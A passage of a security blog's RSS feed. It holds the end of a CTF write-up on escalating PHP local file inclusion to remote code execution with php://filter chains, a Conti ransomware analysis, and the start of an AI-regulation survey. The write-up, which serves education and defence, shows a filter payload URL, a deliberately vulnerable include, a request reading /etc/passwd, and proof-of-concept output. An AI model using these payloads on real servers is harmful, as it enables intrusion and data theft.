<p>Using this technique, it is not possible at first to exfiltrate PHP source files, since they are executed when they enter the <code>include</code> or <code>require</code> statement. However, it is possible to rely on the <code>php://</code> stream and its <code>filter</code> function to apply a Base64 encoding before including the file, therefore changing the active content into innocent plaintext. For example: <code>http://webapp/?p=php://filter/convert.base64-encode/resource=index.php</code>.</p>
<p>Though this trick worked, it only showed that there was not interesting content or flag within the available source code. Time to dig deeper!</p>
<p> </p>
<h3>Universal PHP LFI to RCE</h3>
<p>After many <del>minutes</del> hours of research, we finally came across this <a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters">recent article</a> (2 months) by Hacktricks, that explained how the same <code>php://filter</code> trick could be used (in combination with other encoding filters) to <strong>produce arbitrary content</strong>. This allows for <strong>generating a Base64-encoded minimalist webshell</strong>, which can be decode by a final <code>convert.base64-decode</code> filter into active PHP content.</p>
<p>But exactly <strong>how is generated this arbitrary content, from uncontrolled sources</strong>? The first thing to notice is that the exploit requires knowing the path of a file with read access (such as <code>/etc/passwd</code>), but the content of the file is almost irrelevant (it only needs some printable characters in the file).</p>
<p>The whole exploit leverages the special <code>convert.iconv.UTF8.CSISO2022KR</code> encoding filter. Its particularity is that it <strong>prepends the output string</strong> with <span data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiU1QyU1Q3gxYiUyNClDJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjg2NTcwNGFkOGFkNjRmZWQ4ZjA2OTcxMzlhYzlhYTc0JTIyJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyZTQyZjkzZGU1ODkxNGQ3Yjk0Y2ZiNDYwYjYxMzJjMDYlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJjOGNlYmE4MTdkYzI0ZjVkYThmMjViZGRhZDNkNmM3YyUyMiU3RA=="><code>\x1b$)C</code>, therefore generating some semi-known content (there will always be the character <strong>&#8220;C&#8221;</strong>). Then, it uses the <code>convert.base64-decode</code> filter (which is extremely tolerant on characters not in the Base64 set) to remove the unprintable part of the string, followed by <code>convert.base64-encode</code> to restore our uppercase <strong>&#8220;C&#8221;</strong>. Finally, if the Base64 encoding produced equal signs (which could disturb the behaviour of subsequent operations), they can be removed with the <code>convert.iconv.UTF8.UTF7</code> filter.</span></p>
<p>The same way we can now produce the <strong>&#8220;C&#8221;</strong> character, the authors of the exploit managed to find chaining of encodings that can produced any character from the Base64 set, most importantly prepending a user-controlled string. By combining all the filter chains for all characters for the known Base64-encoded webshell string (in reverse order), the exploit generates said string, followed by lots of (printable) garbage. The final <span data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiU1QyU1Q3gxYiUyNClDJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjg2NTcwNGFkOGFkNjRmZWQ4ZjA2OTcxMzlhYzlhYTc0JTIyJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyZTQyZjkzZGU1ODkxNGQ3Yjk0Y2ZiNDYwYjYxMzJjMDYlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJjOGNlYmE4MTdkYzI0ZjVkYThmMjViZGRhZDNkNmM3YyUyMiU3RA=="><code>convert.base64-decode</code> filter <strong>decodes the webshell</strong> (and the garbage), and the <code>include()</code> or <code>require()</code> statement <strong>executes it</strong>!</span></p>
<p> </p>
<h3>Proof of Concept</h3>
<p>What better testing environment than a clean and up-to-date docker container. Let&#8217;s build our Dockerfile:</p>
<pre>FROM debian:latest

RUN apt update --fix-missing &amp;&amp; \<br />    apt upgrade -y &amp;&amp; \<br />    apt install -y apache2 libapache2-mod-php php
WORKDIR /var/www/html

VOLUME ["/var/www/html"]

ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data
ENV APACHE_LOG_DIR /var/log/apache2
ENV APACHE_PID_FILE /var/run/apache2.pid
ENV APACHE_RUN_DIR /var/run/apache2
ENV APACHE_LOCK_DIR /var/lock/apache2

RUN mkdir -p $APACHE_RUN_DIR $APACHE_LOCK_DIR $APACHE_LOG_DIR
EXPOSE 80

ENTRYPOINT [ "/usr/sbin/apache2" ]
CMD ["-D", "FOREGROUND"]</pre>
<p>Let&#8217;s also prepare our vulnerable PHP file:</p>
<pre>&lt;?php include $_GET['p']; ?&gt;</pre>
<p>And finally build and test it:</p>
<pre class="w-code"><span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">docker build .</span>
...
Successfully built 23dc284ec248

<span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">docker run --rm -p 11111:80 --mount type=bind,source=$(pwd)/www,target=/var/www/html 23dc284ec248</span>

<span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">curl 'http://localhost:11111/?p=<span class="w-grepped">/etc/passwd</span>'</span>
root:x:0:0:root:/root:/bin/bash
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</pre>
<p>Finally, we can slightly adapt <a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters#full-script">Hacktricks&#8217; script</a> to target our local URL and use a different parameter:</p>
<pre class="w-code"><span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">python3 attack.py | hexdump -C | less</span>

00000000  75 69 64 3d 33 33 28 77  77 77 2d 64 61 74 61 29  |<span class="w-grepped">uid=33(www-data)</span>|
00000010  20 67 69 64 3d 33 33 28  77 77 77 2d 64 61 74 61  |<span class="w-grepped"> gid=33(www-data</span>|
00000020  29 20 67 72 6f 75 70 73  3d 33 33 28 77 77 77 2d  |<span class="w-grepped">) groups=33(www-</span>|
00000030  64 61 74 61 29 0a 0a 06  ef bf bd 0a 50 dc 9b ef  |<span class="w-grepped">data)</span>.......P...|
00000040  bf bd ef bf bd 0e ef bf  bd 0e ef bf bd 0e ef bf  |................|
00000050  bd 0e ef bf bd ef bf bd  ef bf bd ef bf bd 0e ef  |................|
00000060  bf bd dc 9b ef bf bd ef  bf bd 0e ef bf bd d8 9a  |................|
00000070  5b ef bf bd d8 98 5c ef  bf bd 02 ef bf bd 18 59  |[.....\........Y|
00000080  5b 5b db 8e ef bf bd 0e  ef bf bd 4e ef bf bd 4e  |[[.........N...N|
....</pre>
<h3> </h3>
<h3>Preventing</h3>
<p>There are many ways one can prevent a malicious user from turning a (not so) benign LFI into a full-blown RCE:</p>
<pre class="w-code"><span class="sc18">&lt;?php</span>

<span class="sc125">// Do not use this!</span>
<span class="sc121">while</span><span class="sc127">(</span><span class="sc121">strpos</span><span class="sc127">(</span><span class="sc123">$payload</span><span class="sc127">,</span> <span class="sc120">'filter'</span><span class="sc127">)!==</span><span class="sc121">FALSE</span><span class="sc127">)</span> <span class="sc127">{</span> <span class="sc123">$payload</span> <span class="sc127">=</span> <span class="sc121">str_replace</span><span class="sc127">(</span><span class="sc120">'filter'</span><span class="sc127">,</span> <span class="sc120">''</span><span class="sc127">,</span> <span class="sc123">$payload</span><span class="sc127">);</span> <span class="sc127">}</span> 


<span class="sc125">// Slightly better, but still...</span>
<span class="sc123">$payload</span> <span class="sc127">=</span> <span class="sc120">'./'</span> <span class="sc127">.</span> <span class="sc123">$payload</span><span class="sc127">;</span>


<span class="sc125">// Leverage builtin functions!</span>
<span class="sc121">assert</span><span class="sc127">(</span><span class="sc121">stream_wrapper_unregister</span><span class="sc127">(</span><span class="sc120">'php'</span><span class="sc127">));</span>

<span class="sc18">?&gt;</span></pre>
<p> </p>
<p style="text-align: right;"><strong>That&#8217;s all folks!</strong></p>
<p><style type="text/css">
.sc18 { font-weight: bold; color: rgb(127, 159, 127); font-family: monospace !important; }
.sc118 { font-family: monospace !important; }
.sc120 { color: rgb(204, 147, 147); font-family: monospace !important; }
.sc121 { font-weight: bold; color: rgb(223, 196, 125); font-family: monospace !important; }
.sc123 { font-weight: bold; color: rgb(206, 223, 153); font-family: monospace !important; }
.sc127 { font-weight: bold; color: rgb(159, 157, 109); font-family: monospace !important; }
pre.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }
.w-user { color: cornflowerblue; font-family: monospace !important; }
.w-root { color: lightcoral; font-family: monospace !important; }
.w-server { color: chartreuse; font-family: monospace !important; }
.w-cli { color: lightskyblue; font-family: monospace !important; }
.w-grepped { color: red; font-family: monospace !important; }
.w-all { font-family: monospace !important; }
.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }
</style></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/">Barb&#8217;hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ransomware: Inside the former CONTI group</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/07/ransomware-inside-the-former-conti-group/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/07/ransomware-inside-the-former-conti-group/#respond</comments>
		
		<dc:creator><![CDATA[Laurenne-Sya Luce]]></dc:creator>
		<pubDate>Fri, 01 Jul 2022 15:30:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[CONTI]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[cybercriminality]]></category>
		<category><![CDATA[ransomware]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18223</guid>

					<description><![CDATA[<p>We recently learned from AdvIntel researcher Yelisey Boguslavskiy that the Russian group Conti shut down its operation, thereby making the brand obsolete.[1] This announcement comes only a few months after it was the center of attention of the specialized press...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/07/ransomware-inside-the-former-conti-group/">Ransomware: Inside the former CONTI group</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">We recently learned from AdvIntel researcher Yelisey Boguslavskiy that the Russian group Conti shut down its operation, thereby making the brand obsolete.<a href="#_ftn1"><sup>[1] </sup></a>This announcement comes only a few months after it was the center of attention of the specialized press following the &#8220;<strong>Conti Leaks</strong>&#8220;.</p>
<p style="text-align: justify;">Last February, a Ukrainian researcher released more than 60,000 messages from inside conversations between different members of the group. Through these discussions, several revelations are made about their operations, allowing us to understand the RaaS ecosystem (<em>Ransomware-as-a-Service)</em>.</p>
<p style="text-align: justify;">Through this article, let&#8217;s take a look at how a Ransomware platform operates, then let&#8217;s question the organizational structure and the benefits generated by former CONTI group.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>Ransomware platform ecosystem</strong></h1>
<p style="text-align: justify;">The proliferation of articles on the Ransomware threat over the last few years gives the impression that the sector is flourishing. There are <strong>several players involved</strong>, and data theft amounts to <strong>hundreds of millions of dollars</strong> per year. For instance, CERT-Wavestone shared that <a href="https://www.riskinsight-wavestone.com/en/2021/10/cyberattacks-in-2021-ransomwares-still-threat-n1/">about 60% of its incident responses in 2021 were for ransomware attacks</a>.<a href="#_ftn2"><sup>[2]</sup></a></p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18227 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN1.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN1.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN1-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN1-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: justify;">As described in the figure, ransomware platforms <strong>do not work alone</strong>. It receives help from different <strong>service providers</strong> or other platforms and offers its services (in the form of ransomware) to different groups of attackers. Finally, the platform can also directly extract data from its victims: individuals, companies, states&#8230;</p>
<p style="text-align: justify;">These platforms have fueled the growth of a RaaS economy. <strong>Approximately $5.2 billion of BTC transactions</strong> have been identified by the US Treasury with the <strong>payment</strong> of the most commonly reported <strong>ransomware platforms</strong>.<a href="#_ftn3"><sup>[3]</sup></a> This makes it a <strong>highly profitable business</strong>.</p>
<p style="text-align: justify;">At the same time, it is also an activity where there is a <strong>significant number of established groups</strong> of players that seem to frequently appear and disappear and which generally last several months. Behind these multiple platforms usually hide the same individuals. If the CONTI franchise, supposed successor of the Ryuk<a href="#_ftn4"><sup>[4]</sup></a>,has only survived 2 years, its former members still seem to be active.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18229 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN2.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN2.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN2-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN2-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: justify;">In this fragmented and complex environment, it is difficult to retrieve consistent information on the functioning of the platforms. The internal discord that followed the war in Ukraine and the publication of the Conti Leaks allowed us to investigate the functioning of this secretive group before its dissolution.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>Conti enterprise ?</strong></h1>
<p style="text-align: justify;">On February 27th, 2022 we discover the underside of CONTI organization. The disclosures are made within a few days and soon reveal :</p>
<ul style="text-align: justify;">
<li><strong>Well-established recruitment processes</strong>, that can even go as far as advertising on legitimate recruitment sites</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18231 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN3.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN3.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN3-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN3-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<ul style="text-align: justify;">
<li><strong>A vertical organization </strong>with its own HR, financial and operational departments</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18233 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN4.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN4.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN4-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN4-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<ul style="text-align: justify;">
<li>A <strong>salary policy</strong> established according to the different functions in the organization, including bonuses per position after a successful ransom (See. <a href="/wp-content/uploads/2022/06/Note-de-synthese-groupes-de-ransomware-ANG.pdf">Full study</a>)</li>
</ul>
<p style="text-align: justify;">This thoughtful and efficient organization seems to be one of the secrets to the profitability of the group.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>A highly profitable business model</strong></h1>
<p style="text-align: justify;">We have endeavored to recreate the cash flow statement of CONTI from scratch.</p>
<p style="text-align: justify;">Each line of profit and cost is researched to be estimated as accurately as possible over a year.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18235 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN5.jpg" alt="" width="605" height="417" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN5.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN5-277x191.jpg 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/EN5-57x39.jpg 57w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: justify;">According to The 2022 Crypto Crime Report<a href="#_ftn5"><sup>[5]</sup></a>, in 2021, CONTI and its affiliates held at least <strong>$180M in bitcoins</strong> for ransom from <strong>addresses traceable </strong>on the blockchain. It is estimated that <strong>70% is paid back to its affiliates</strong>, and the remaining $45M is the group&#8217;s revenue.</p>
<p style="text-align: justify;">CONTI then has to deal with traditional expenses, which are common in traditional companies. The main ones are: <strong>money laundering</strong>, which represents up to 50% of the earnings, purchases of <strong>third party services and maintenance costs</strong>, and finally.</p>
<p style="text-align: justify;">CONTI would therefore generate <strong>a net profit of $16M</strong> (if we assume that the group does not pay Russian taxes). The <strong>ROI</strong> of the group is estimated at about <strong>+163%</strong>, according to the same information.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>Conclusion</strong></h1>
<p style="text-align: justify;">The Conti Leaks enabled to better understand the organization and ecosystem of Ransomware-as-a-Service platforms through the study of a group. This work thus provides a solid foundation for the popularization of the RaaS threat.</p>
<p style="text-align: justify;"><strong><img loading="lazy" decoding="async" class="aligncenter wp-image-18261 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-scaled.jpg" alt="" width="2560" height="1441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-scaled.jpg 2560w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-339x191.jpg 339w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-69x39.jpg 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-768x432.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-1536x865.jpg 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-2048x1153.jpg 2048w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/info-EN-800x450.jpg 800w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /> </strong></p>
<p> </p>
<h3 style="text-align: justify;"><strong>About our method</strong></h3>
<p style="text-align: justify;">All of the information presented in this study comes from Wavestone&#8217;s field observations as well as multiple sources &#8211; both public and private such as: the National Cyber Security Center, Check Point Research, Palo Alto Networks, Breachquest and Chainalysis.</p>
<p> </p>
<h3 style="text-align: justify;">Sources :</h3>
<p style="text-align: justify;"><a href="#_ftnref1">[1]</a> « Conti ransomware shuts down operation, rebrands into smaller units », Bleeping Computer, May 2022</p>
<p style="text-align: justify;"><a href="https://www.bleepingcomputer.com/news/security/conti-ransomware-shuts-down-operation-rebrands-into-smaller-units/">Conti ransomware shuts down operation, rebrands into smaller units (bleepingcomputer.com)</a></p>
<p style="text-align: justify;"><a href="#_ftnref2">[2]</a> « Cyberattacks in 2021: ransomwares, still threat n°1 », Risk Insight, October 2021</p>
<p style="text-align: justify;"><a href="https://www.riskinsight-wavestone.com/en/2021/10/cyberattacks-in-2021-ransomwares-still-threat-n1/">https://www.riskinsight-wavestone.com/2021/10/cyberattaques-en-france-le-ransomware-menace-numero-1/</a> </p>
<p style="text-align: justify;"><a href="#_ftnref3">[3]</a> « US links $5.2 billion worth of Bitcoin transactions to ransomware », Bleeping Computer, October 2021</p>
<p style="text-align: justify;"><a href="https://www.bleepingcomputer.com/news/security/us-links-52-billion-worth-of-bitcoin-transactions-to-ransomware/">https://www.bleepingcomputer.com/news/security/us-links-52-billion-worth-of-bitcoin-transactions-to-ransomware/</a></p>
<p style="text-align: justify;"><a href="#_ftnref4">[4]</a> « Le rançongiciel Ryuk », ANSSI, September 2021</p>
<p style="text-align: justify;"><a href="https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-011.pdf">CERTFR-2020-CTI-011.pdf (ssi.gouv.fr)</a></p>
<p style="text-align: justify;"><a href="#_ftnref5">[5]</a> « THE 2022 CRYPTO CRIME REPORT », Chainalysis, Février 2022</p>
<p style="text-align: justify;"><a href="https://go.chainalysis.com/rs/503-FAP-074/images/Crypto-Crime-Report-2022.pdf">Crypto-Crime-Report-2022.pdf (chainalysis.com)</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/07/ransomware-inside-the-former-conti-group/">Ransomware: Inside the former CONTI group</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/07/ransomware-inside-the-former-conti-group/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Artificial Intelligence soon to be regulated?</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/06/artificial-intelligence-soon-to-be-regulated/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/06/artificial-intelligence-soon-to-be-regulated/#respond</comments>
		
		<dc:creator><![CDATA[Morgane Nicolas]]></dc:creator>
		<pubDate>Wed, 22 Jun 2022 15:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Regulations]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18102</guid>

					<description><![CDATA[<p>Since the beginning of its theorisation in the 1950s at the Dartmouth Conference[1] , Artificial Intelligence (AI) has undergone significant development. Today, thanks to advancements and progress in various technological fields such as cloud computing, we find it in various...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/06/artificial-intelligence-soon-to-be-regulated/">Artificial Intelligence soon to be regulated?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Since the beginning of its theorisation in the 1950s at the Dartmouth Conference<a href="#_ftn1" name="_ftnref1">[1]</a> , Artificial Intelligence (AI) has undergone significant development. Today, thanks to advancements and progress in various technological fields such as cloud computing, we find it in various everyday uses. AI can compose music, recognise voices, anticipates our needs, drive cars, monitor our health, etc.</p>
<p style="text-align: justify;">Naturally, the development of AI gives rise to many fears. For example, that AI will make innacurate computations leading to accidents and other incidents (autonomous car accidents for example), or that it will lead to a violation of the personal data and could potentially manipulate that data (fear largely fuelled by the scandals surrounding major market players<a href="#_ftn2" name="_ftnref2">[2]</a> ).</p>
<p style="text-align: justify;">In the absence of clear regulations in the field of AI, Wavestone wanted to study, for the purpose of anticipating future needs, who are the actors at the forefront of publishing and developing texts on the framework of AI, what are these texts, the ideas developed in them and what impacts on the security of AI systems can be anticipated.</p>
<h1> </h1>
<h1>AI regulation: the global picture</h1>
<h2>AI legislation</h2>
<p>In the body of texts relating to AI regulation, there are no legislative texts to date <a href="#_ftn3" name="_ftnref1">[3]</a><a href="#_ftn4" name="_ftnref2">[4]</a>. Nevertheless, some texts generally formalize a set of broad guidelines for developing a normative framework for AI. There are, for example, guidelines/recommendations, strategic plans, or white papers.</p>
<p>They emerge mainly from the United States, Europe, Asia, or major international entities:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18104 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1b.png" alt="" width="848" height="509" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1b.png 848w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1b-318x191.png 318w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1b-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1b-768x461.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></p>
<p style="text-align: center;"><em>Figure 1 Global overview of AI texts<a href="#_ftn5" name="_ftnref2">[5]</a></em></p>
<p>And their pace has not slowed down in recent years. Since 2019, more and more texts on AI regulation have been produced:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18306 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/2new.png" alt="" width="1005" height="538" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/2new.png 1005w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/2new-357x191.png 357w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/2new-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/2new-768x411.png 768w" sizes="auto, (max-width: 1005px) 100vw, 1005px" /></p>
<p style="text-align: center;"><em>Figure 2 Chronology of the main texts</em></p>
<h2>Two types of actors carry these texts with varying perspectives of cybersecurity</h2>
<p style="text-align: justify;">The texts are generally carried by two types of actors:</p>
<ul style="text-align: justify;">
<li>Decision makers. That is, bodies whose objective is to formalise the regulations and requirements that AI systems will have to meet.</li>
<li>That is, bodies/organisations that have some authority in the field of AI.</li>
</ul>
<p style="text-align: justify;">At the EU level, decision-makers such as the European Commission or influencers such as ENISA are of key importance in the development of regulations or best practices in the field of AI development.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18308 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/3new.png" alt="" width="918" height="512" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/3new.png 918w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/3new-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/3new-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/3new-768x428.png 768w" sizes="auto, (max-width: 918px) 100vw, 918px" /></p>
<p style="text-align: center;"><em>Figure 3 Key players in Europe</em></p>
<p style="text-align: justify;">In general, the texts address a few different issues. For example, they provide strategies which can be adopted or guidelines on AI ethics. They are addressed to both governments and companies and occasionally target specific sectors such as the banking sector.</p>
<p style="text-align: justify;">From a cyber security point of view, the texts are heterogeneous. The following graph represents the cyber appetence of the texts:  </p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18310 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/4new.png" alt="" width="971" height="460" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/4new.png 971w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/4new-403x191.png 403w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/4new-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/4new-768x364.png 768w" sizes="auto, (max-width: 971px) 100vw, 971px" /></p>
<p style="text-align: center;"><em>Figure 4 Text corpus between 2018 and 2021</em></p>
<h1> </h1>
<h1>What the texts say about Cybersecurity</h1>
<p>As shown in Figure 4, a significant number of texts propose requirements related to cyber security. This is partly because AI has functional specificities that need to be addressed by cyber requirements. To go into the technical details of the texts, let us reduce AI to one of its most uses today: Machine Learning (Details of how Machine Learning works are provided in <em>Annex I : Machine Learning</em>).</p>
<p>Numerous cyber requirements exist to protect the assets support applications using Machine Learning (ML) throughout the project lifecycle. On a macroscopic scale, these requirements can be categorised into the classic cybersecurity pillars<a href="#_ftn6" name="_ftnref1"><sup>[6]</sup></a><sup> </sup> extracted from the NIST Framework<a href="#_ftn7" name="_ftnref2">[7]</a> :</p>
